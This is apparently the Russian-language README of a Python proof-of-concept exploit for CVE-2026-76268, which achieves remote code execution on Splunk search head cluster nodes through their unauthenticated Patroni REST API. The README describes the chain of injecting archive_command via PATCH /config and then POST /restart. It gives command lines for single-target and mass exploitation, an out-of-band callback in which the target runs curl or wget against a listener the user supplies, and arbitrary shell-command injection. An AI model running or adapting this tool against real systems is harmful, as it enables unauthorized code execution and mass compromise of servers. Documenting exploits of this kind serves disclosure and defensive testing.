
Python PoC для CVE-2026-76268: обнаруживает неаутентифицированный REST API Patroni на узлах Splunk SHC и эксплуатирует его через инъекцию в archive_command для достижения RCE.
Python 3 PoC для CVE-2026-76268 — Splunk Enterprise на членах кластера search head (SHC). Рекомендация SVD-2026-1001.
| CVE.org | https://www.cve.org/CVERecord?id=CVE-2026-76268 |
| Рекомендация | https://advisory.splunk.com/advisories/SVD-2026-1001 |
| Компонент | PostgreSQL sidecar (Storage) → Patroni REST API |
| Затронуто | 10.2.0 – 10.2.6, 10.4.0 – 10.4.2 |
| Исправление | 10.2.7, 10.4.3 (и более поздние) |
| Не затронуто (данный CVE) | 10.0.x, 9.4.x |
| CWE | CWE-306 — отсутствие аутентификации для критической функции |
| CVSS 3.1 | 9.8 Critical |
| Маркер проверки | POCBIT-76268-OK |
| PoCbit | https://pocbit.org/pocs/cve-2026-76268 |
На уязвимых членах SHC Splunk Enterprise Patroni REST API (часть PostgreSQL sidecar, появившегося в Splunk 10.x) принимает запросы, изменяющие состояние, без аутентификации. Злоумышленник, имеющий сетевой доступ к слушателю Patroni, может изменить динамическую конфигурацию кластера и вызвать выполнение команд операционной системы через параметры PostgreSQL, такие как archive_command (цепочка Patroni PATCH /config + POST /restart).
Данный PoC обращается напрямую к Patroni (обычно TCP 8008 или порт, назначенный IPC Broker Splunk). Он не использует Splunk Web (8000) или порт управления Splunk (8089). Это другая поверхность атаки (например, исторические проблемы sidecar через прокси splunkd).
Предусловия для реального воздействия:
[postgres] включён (disabled = true удаляет Patroni).cd CVE-2026-76268
pip install -r requirements.txt
requests, urllib3| Режим | Назначение |
|---|---|
check (по умолчанию) | Поиск Patroni на распространённых портах; проверка неаутентифицированного PATCH /config |
exploit | Запуск цепочки RCE в Patroni (archive_command + перезапуск) |
| Массовый режим | --list FILE с потоками -j; записывает JSONL + опциональные списки найденных/эксплуатированных целей |
Необходимо указать либо -t TARGET, либо --list FILE.
-t / строки в --list)| Формат | Пример |
|---|---|
| Только хост (сканирование портов по умолчанию) | 192.168.1.50 |
| Хост + порт | 192.168.1.50:8008 |
| Полный URL | http://10.0.0.5:8008 |
Комментарии в файлах списков: строки, начинающиеся с #, игнорируются.
Обнаружение Patroni и оценка того, разрешены ли неаутентифицированные изменения конфигурации.
python poc.py -t 192.168.1.50 --mode check
python poc.py -t 192.168.1.50:8008 --mode check
python poc.py --list targets.example.txt --mode check -j 20 --vuln-list hits.txt
Что делает PoC:
GET /patroni (или /) на каждом порту из --ports (по умолчанию 8008,8009,8010,18008).PATCH /config с пустым JSON-телом и без учётных данных.exploitable_candidate: true, когда Patroni отвечает и PATCH не отклоняется с 401/403.Полезные флаги:
| Флаг | Значение |
|---|---|
--ports | Список портов Patroni для сканирования через запятую |
--port | Пропустить сканирование; использовать только один порт |
--timeout | Тайм-аут HTTP (секунды, по умолчанию 20) |
--proxy | HTTP(S)-прокси для запросов |
--output | Журнал JSONL (по умолчанию cve_2026_76268_results.jsonl) |
--vuln-list | Кандидаты, разделённые табуляцией (по умолчанию hits.txt) |
--quiet | Меньше вывода в консоль |
--no-color | Обычный терминал |
Код выхода: 0, если exploitable_candidate истинно; иначе 1.
Рекомендуемый порядок работы: массовая проверка → просмотр hits.txt → массовая эксплуатация только на авторизованных хостах.
--mode exploit)Запускает цепочку внедрения конфигурации Patroni. Это изменяет динамическую конфигурацию работающих sidecar/PostgreSQL на цели.
--port).PATCH /config возвращает 401/403.PATCH /config — устанавливает wal_level=replica, archive_mode=always, archive_timeout=1 и ваш archive_command.POST /restart — применяет ожидающую конфигурацию PostgreSQL.--wait-archive секунд (по умолчанию 3); archive_command выполняется в цикле архивации WAL (не мгновенно).# OOB verification (recommended): callback receives GET .../POCBIT-76268-OK
python poc.py -t 192.168.1.50:8008 --mode exploit --oob http://YOUR_IP:8888
# Lab marker file on the Splunk host (runs as sidecar/Postgres user)
python poc.py -t 192.168.1.50 --mode exploit --wait-archive 5
# Custom shell command (your responsibility to quote safely)
python poc.py -t 192.168.1.50 --mode exploit --command "id > /tmp/splunk-poc"
# Force port, longer wait for slow archives
python poc.py -t 192.168.1.50 --mode exploit --port 8008 --wait-archive 10
python poc.py --list hits.txt --mode exploit -j 5 --oob http://CALLBACK:8888
Выходные данные:
--output — полный JSONL (массовый эксплойт по умолчанию использует cve_2026_76268_exploit.jsonl, если вы оставили имя по умолчанию).--exploited-list — строки, где exploited: true (по умолчанию exploited.txt).| Флаг | Значение |
|---|---|
--oob URL | Базовый URL; команда выполняет curl/wget на URL/POCBIT-76268-OK |
--command | Полная строка PostgreSQL archive_command (переопределяет значение OOB по умолчанию) |
--wait-archive | Секунды ожидания после перезапуска перед завершением PoC |
--ports / --port | Обнаружение портов или фиксированный порт Patroni |
--tls | Использовать https:// для Patroni (необычно для стандартной документации Splunk sidecar) |
Команда по умолчанию, когда не заданы ни --oob, ни --command:
touch /tmp/POCBIT-76268-OK
Код выхода: 0, когда PATCH и перезапуск приняты (exploited: true). Это означает, что цепочка была доставлена, а не что ваш callback или файловое подтверждение уже сработали. Подтвердите с помощью OOB или проверок файловой системы на хосте.
Важно: Patroni может игнорировать динамические изменения, если те же параметры заблокированы в локальной конфигурации (усиление защиты вендором). В этом случае эксплойт может не сработать даже на старых сборках Splunk.
-t)Выводится в stdout (форматированный JSON). Массовый режим записывает один объект JSON на строку.